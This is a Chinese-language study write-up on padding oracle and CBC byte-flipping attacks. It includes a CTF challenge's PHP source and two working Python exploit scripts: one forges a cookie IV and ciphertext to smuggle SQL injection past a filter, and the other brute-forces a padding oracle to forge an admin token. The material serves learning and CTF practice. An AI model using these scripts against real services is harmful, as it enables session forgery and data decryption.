Padding Oracle 和 CBC字节翻转攻击学习
以前一直没时间来好好研究下这两种攻击方式,虽然都是很老的点了= =!
0x01:Padding oracle
CBC加密模式为分组加密,初始时有初始向量,密钥,以及明文,明文与初始向量异或以后得到中间明文,然后其再和密钥进行加密将得到密文,得到的密文将作为下一个分组的初始向量,与下一个分组的明文进行异或得到的二组的中间明文,依次类推。
解密时根据也是分组解密,首先使用密钥解密密文,得到中间明文,然后将中间明文和初始向量异或以后得到明文,第一组的密文将和第二组的明文进行异或得到第二组的中间明文,然后再用密钥进行解密得到第二组的明文,依次类推
攻击流程:
明文填充:
分组密码Block Cipher需要在加载前确保每个每组的长度都是分组长度的整数倍。一般情况下,明文的最后一个分组很有可能会出现长度不足分组的长度:
这个时候,普遍的做法是在最后一个分组后填充一个固定的值,这个值的大小为填充的字节总数。即假如最后还差3个字符,则填充3个0×03
因为填充发生在最后一个分组,所以我们主要关注最后一个分组
这里有个条件是服务器会对我们显示padding error的异常,如果不回显那么肯定无法判断进行利用
比如在web应用中,如果Padding不正确,则应用程序很可能会返回500的错误(程序执行错误);如果Padding正确,但解密出来的内容不正确,则可能会返回200的自定义错误(这只是业务上的规定),所以,这种区别就可以成为一个二值逻辑的”注入点”。
攻击成立的两个重要假设前提:
- 1. 攻击者能够获得密文(Ciphertext),以及附带在密文前面的IV(初始化向量)
- 2. 攻击者能够触发密文的解密过程,且能够知道密文的解密结果
我们的攻击流程实际上是不断地调整IV的值,以希望解密后,最后一个字节的值为正确的Padding Byte,因为padding正确时,这里padding正确是指最终解密并异或出来的明文最后一个字节在正确padding的范围内就是正确的,虽然最后明文不一定正确,但是padding是合法的,所以服务器才会返回200
此时若我们输入的初始向量为:
这时候最后一组密文经过密钥解密后再和我们输入的初始向量异或以后将得到
最后一位是0x3d,明显不满足padding的范围,所以肯定会返回500,那么此时假设padding为0x01,那么通过遍历初始向量最后一位将存在唯一一个初始向量值将于服务端解密得到的中间值异或以后得到0x01,直接遍历
IV值就可以得到该值,之后我们就可以利用以下的公式
因此可以求出明文第八个字节,之后我们需要继续求出其第七个字节的明文值,那么此时假设填充了两个字节,那么为0x02,0x02,此时我们需要更新最后一位要输入的IV值为中间值第八位异或上0x02(第八位中间值根据明文第八位异或上原来的IV值第八位即可得到),因为此时我们便利的后两位IV值,此时服务器期望得到是0x02
此时继续遍历第七位IV值,直到得到0x02,此时可以得到明文第七位,依次类推可以得到所有的明文。
0x02: CBC字节翻转攻击
对于解密过程而言,我们已经可以通过Padding Oracle攻击获取CBC模式加密的明文,此时我们可以通过CBC字节翻转攻击来实现伪造的明文,因为IV是我们可控的,我们可以控制IV,使其与中间明文异或后得到我们任意想要的明文
加入我们已知明文解密后为1dmin,我们想构造一个初始IV,使其解密成admin,因为有以下的逻辑:
而我们想要:
所以我们可以得到
而原来的中间明文可以通过以下方式得到,原来的明文第一位又是可以通过Padding Oracle攻击得到的
所以够在的IV第一位即为:
通过上面的式子,通过遍历明文,我们就可以让服务器端解密出我们想要的明文
CTF题目举例:
- 服务端校验身份标志为$id,所以可以利用padding oracle攻击去得到这个值的明文,得到这个值后,再利用cbc翻转攻击,将这个plain伪造成我们需要的admin
以实验吧的一道CBC翻转的题目为例:
源码:
- <?php
- define("SECRET_KEY", '***********');
- define("METHOD", "aes-128-cbc");
- error_reporting(0);
- include('conn.php');
- function sqliCheck($str){
- if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
- return 1;
- }
- return 0;
- }
- function get_random_iv(){
- $random_iv='';
- for($i=0;$i<16;$i++){
- $random_iv.=chr(rand(1,255));
- }
- return $random_iv;
- }
- function login($info){
- $iv = get_random_iv();
- $plain = serialize($info);
- $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
- setcookie("iv", base64_encode($iv));
- setcookie("cipher", base64_encode($cipher));
- }
- function show_homepage(){
- global $link;
- if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
- $cipher = base64_decode($_COOKIE['cipher']);
- $iv = base64_decode($_COOKIE["iv"]);
- if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
- $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
- $sql="select * from users limit ".$info['id'].",0";
- $result=mysqli_query($link,$sql);
- if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
- $rows=mysqli_fetch_array($result);
- echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
- }
- else{
- echo '<h1><center>Hello!</center></h1>';
- }
- }else{
- die("ERROR!");
- }
- }
- }
- if(isset($_POST['id'])){
- $id = (string)$_POST['id'];
- if(sqliCheck($id))
- die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
- $info = array('id'=>$id);
- login($info);
- echo '<h1><center>Hello!</center></h1>';
- }else{
- if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
- show_homepage();
- }else{
- echo '<body class="login-body" style="margin:0 auto">
- <div id="wrapper" style="margin:0 auto;width:800px;">
- <form name="login-form" class="login-form" action="" method="post">
- <div class="header">
- <h1>Login Form</h1>
- <span>input id to login</span>
- </div>
- <div class="content">
- <input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
- </div>
- <div class="footer">
- <p><input type="submit" name="submit" value="Login" class="button" /></p>
- </div>
- </form>
- </div>
- </body>';
- }
- }
首先将$_POST中的id参数传入login函数进行加密,iv是随机的16进制字符串,明文是序列化后的$info变量,其中$info变量是包含$id参数的数组,
然后使用CBC模式对其进行加密,然后将IV值和密文base64编码以后返回给客户端,如果没有post过去id参数,将调用show_homepage函数,此时将密文进行解密并反序列化后传递给$info,这里要通过sql注入查出数据才行,但是$id处有waf,所以必须通过构造IV来使解密出的明文中出现注入payload来拼接进sql语句,正常的id参数查不出数据是因为那里是limit id,0,零条数据,所以只需要最后的payload为1#注释掉即可
所以可以首先post一个id=10参数
将得到
- iv=PxuF5ruZTSyyT%2FgbLaLtAQ%3D%3D
- cipher=j3UwMobjznjdxF6BMMDEcMMROOqlCBWzCt6I5Wewru8%3D
此时就可以针对此回显的IV值进行攻击,来构造新的IV值,首先我们要构造出进入加密函数的明文:
- $id = (string)$_POST['id'];
- $info = array('id'=>$id);
- function login($info){
- $iv = get_random_iv();
- $plain = serialize($info);
- $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
- setcookie("iv", base64_encode($iv));
- setcookie("cipher", base64_encode($cipher));
- }
所以我们可以构造出id的序列化数据:
- a:1:{s:2:"id";s:2:"10";}
因为IV为16个字节,因此我们将明文以16字节为一组进行分组
- a:1:{s:2:"id";s: //第一组
- 2:"10";} //第二组
我们需要更改的是第二组的第五位字符,即将0替换成#,所以首先应该更改第一组密文的对应位,将得到新的密文
可以利用公式1:
然后将得到的密文和之前的原始IV一起发送,此时因为更改了第一组密文的一位,将导致第一组密文解密后无法反序列化,因为此时解密出来的明文也随之发生了变化,因此我们需要更改IV来使其不变,所以遍历第一组
密文,然后根据公示1来进行构造,其中明文就是服务器端解密返回并输出的
根据自己的理解写的exp:
- #coding:utf-8
- import base64
- import urllib
- iv="MhmPZk6p8ZbW0MipFeIwlA%3D%3D"
- iv=urllib.unquote(iv)
- iv=base64.b64decode(iv)
- offset = 4
- ciper="gcrKiWF6uRNNuYRjM%2FJPYHGoPTPZ1OpOajvZ6UfVMvY%3D"
- ciper = urllib.unquote(ciper)
- ciper = base64.b64decode(ciper)
- block_1 = 'a:1:{s:2:"id";s:'
- block_2 = '2:"10";}'
- new_block_offet_4 = chr(ord(ciper[4]) ^ ord(block_2[4]) ^ ord("#"))
- new_ciper = ciper[:4]+new_block_offet_4+ciper[5:]
- new_ciper = urllib.quote(base64.b64encode(new_ciper))
- print new_ciper
- plain="qvttg/CIu9gp3DGoR+mCETI6IjEjIjt9"
- plain=base64.b64decode(plain)
- new_iv = ""
- for i in range(16):
- new_iv = new_iv + chr(ord(plain[i]) ^ ord(block_1[i]) ^ ord(iv[i]))
- new_iv= urllib.quote(base64.b64encode(new_iv))
- print new_iv
最后放一个LCTF2017上一个Padding oracle+CBC 字节翻转的脚本,上面有自己的注解:
- # -*- coding: utf-8 -*-
- import requests
- import base64
- url = 'http://127.0.0.1/cbc.php'
- N = 16
- def inject_token(token):
- header = {"Cookie": "PHPSESSID=" + phpsession + ";token=" + token}
- result = requests.post(url, headers = header)
- return result
- def xor(a, b):
- return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in xrange(len(a))])
- def pad(string, N):
- l = len(string)
- if l != N:
- return string + chr(N - l) * (N - l)
- def padding_oracle(N):
- get = ""
- for i in xrange(1, N+1):
- for j in xrange(0, 256):
- padding = xor(get, chr(i) * (i-1))#此时更新padding的值,更新要发送的对应位置的明文位所对应的IV值
- c = chr(0) * (16-i) + chr(j) + padding #chr(j)就是每次要新尝试的填充值
- result = inject_token(base64.b64encode(c))
- if "Error!" not in result.content: #如果没有padding错误,padding错误将返回"Error"
- get = chr(j ^ i) + get #包含所有中间明文,每次得到一位得到中间明文,此时得到的IV值(即c)和中间明文异或以后满足padding,两个值异或后再和原来的iv进行异或即可得到
- #对应位置明文
- break
- return get
- while 1:
- session = requests.get(url).headers['Set-Cookie'].split(',')
- phpsession = session[0].split(";")[0][10:]
- print phpsession
- token = session[1][6:].replace("%3D", '=').replace("%2F", '/').replace("%2B", '+').decode('base64')
- middle1 = padding_oracle(N)
- print "\n"
- if(len(middle1) + 1 == 16):
- for i in xrange(0, 256):
- #因为后十五位都可以通过Padding Oracle Attack正常的解出,
- #但是在解第一位时按逻辑应该解出全为padding的plaintext(在这个环境下也就是16个0x10),即解密的结果为NULL
- middle = chr(i) + middle1
- print "token:" + token
- print "middle:" + middle
- plaintext = xor(middle,token)
- print "plaintext:" + plaintext
- des = pad('admin', N)
- tmp = ""
- print des.encode("base64")
- for i in xrange(16):
- tmp += chr(ord(token[i]) ^ ord(plaintext[i]) ^ ord(des[i]))
- print tmp.encode('base64')
- result = inject_token(base64.b64encode(tmp))
- if "You are admin!" in result.content:
- print result.content
- print "success"
- exit()
参考:
https://skysec.top/2017/12/13/padding-oracle%E5%92%8Ccbc%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB/
http://www.freebuf.com/articles/web/15504.html
Padding Oracle 和 CBC字节翻转攻击学习的更多相关文章
- CBC字节翻转攻击
iscc2018线上赛开始两周多了,学到了很多,写几篇文章总结一下遇到的知识点,做一个归纳,方便以后查找. web300-----CBC字节翻转攻击 cbc是AES加密的cbc模式 即密码分组链模式: ...
- CBC 字节反转攻击
一.CBC 简介 现代密码体制 现代密码中的加密体制一般分为对称加密体制(Symmetric Key Encryption)和非对称加密体制(Asymmetric Key Encryption).对称 ...
- 实验吧之【简单的登录题(】CBC字节反转攻击)
开始刷ctf题吧 慢慢来. 实验吧---简单的登录题 题目地址:http://ctf5.shiyanbar.com/web/jiandan/index.php 随便提交一个id,看到后台set了两个 ...
- 关于AES-CBC模式字节翻转攻击(python3)
# coding:utf-8 from Crypto.Cipher import AES import base64 def encrypt(iv, plaintext): if len(plaint ...
- session安全&&CBC字符反转攻击&&hash拓展攻击
session安全 p神写的: 在传统PHP开发中,$_SESSION变量的内容默认会被保存在服务端的一个文件中,通过一个叫"PHPSESSID"的Cookie来区分用户.这类se ...
- Padding Oracle攻击
最近在复现LCTF2017的一道题目,里面有一个padding oracle攻击,也算是CBC翻转攻击,这个攻击主要针对CBC加密模式的 网上有关这个攻击的博客文章很多,但是其中有一些细节可能是个人的 ...
- padding Oracle attack(填充Oracle攻击)
最近学习到一种老式的漏洞,一种基于填充字节的漏洞.就想记录下来,早在2010年的blackhat大会上,就介绍了padding Oracle漏洞,并公布了ASP.NET存在该漏洞.2011年又被评选为 ...
- 于bugku中游荡意外得到关于CBC翻转攻击思路
个人简介:渣渣一枚,萌新一个,会划水,会喊六六今天在bugku遇到关于CBC翻转攻击的题目,总结了一下关于CBC翻转攻击的原理,以及关于这道题目的解题思路个人博客:https://www.cnblog ...
- Padding Oracle Attack的一些细节与实现
Padding Oracle Attack还是颇具威力的,ASP.NET的Padding Oracle Attack被Pwnie评为2010年最佳服务端漏洞之一.还是看 Juliano Rizzo a ...
随机推荐
- 深入学习Mybatis框架(二)- 进阶
1.动态SQL 1.1 什么是动态SQL? 动态SQL就是通过传入的参数不一样,可以组成不同结构的SQL语句. 这种可以根据参数的条件而改变SQL结构的SQL语句,我们称为动态SQL语句.使用动态SQ ...
- How to mount remote Windows shares
Contents Required packages Basic method Better Method Even-better method Yet Another Even-better m ...
- 蓝牙App漏洞系列分析之二CVE-2017-0639
蓝牙App漏洞系列分析之二CVE-2017-0639 0x01 漏洞简介 Android本月的安全公告,修复了我们发现的另一个蓝牙App信息泄露漏洞,该漏洞允许攻击者获取 bluetooth用户所拥有 ...
- markdown实现点击链接下载文件
今天用Markdown工具,需要实现一个点连接下载文件的功能,看起来很多简单我也没多想就直接写了,并且单个页面测试的时候也挺正常,就发布了,但是发布后使用的时候发现问题了,浏览器中直接点击链接没反应, ...
- java线程基础巩固---多线程下的生产者消费者模型,以及详细介绍notifyAll方法
在上一次[http://www.cnblogs.com/webor2006/p/8419565.html]中演示了多Product多Consumer假死的情况,这次解决假死的情况来实现一个真正的多线程 ...
- html2canvas-html图片合成-canvas生成图片
作用 html2canvas可以通过纯JS对浏览器端经行截屏,但截图的精确度还有待提高,部分css不可识别,所以在canvas中不能完美呈现原画面样式 支持的浏览器 Firefox 3.5+ Goog ...
- hutools之批量更新
public class HutoolTest { private static DataSource dataSource = DSFactory.get(); //读取默认路径下的配置文件,数据库 ...
- 安装keras和解决python3退格显示^H的问题
我的是centos7的版本,然后之前是安装好了3.5,默认安装了2.7 看了几篇博文和手上的书,发现安装没有那么麻烦,只需要 pip install tensorflow pip install ke ...
- 二叉树的相关定义及BST的实现
一.树的一些概念 树,子树,节点,叶子(终端节点),分支节点(分终端节点): 节点的度表示该节点拥有的子树个数,树的度是树内各节点度的最大值: 子节点(孩子),父节点(双亲),兄弟节点,祖先,子孙,堂 ...
- IDEA部署Tomcat报错:No artifacts marked for deployment
刚开始碰到这个问题还被坑了,搞了好半天...所以我准备记录一下,走的弯路就不说了,因为我没图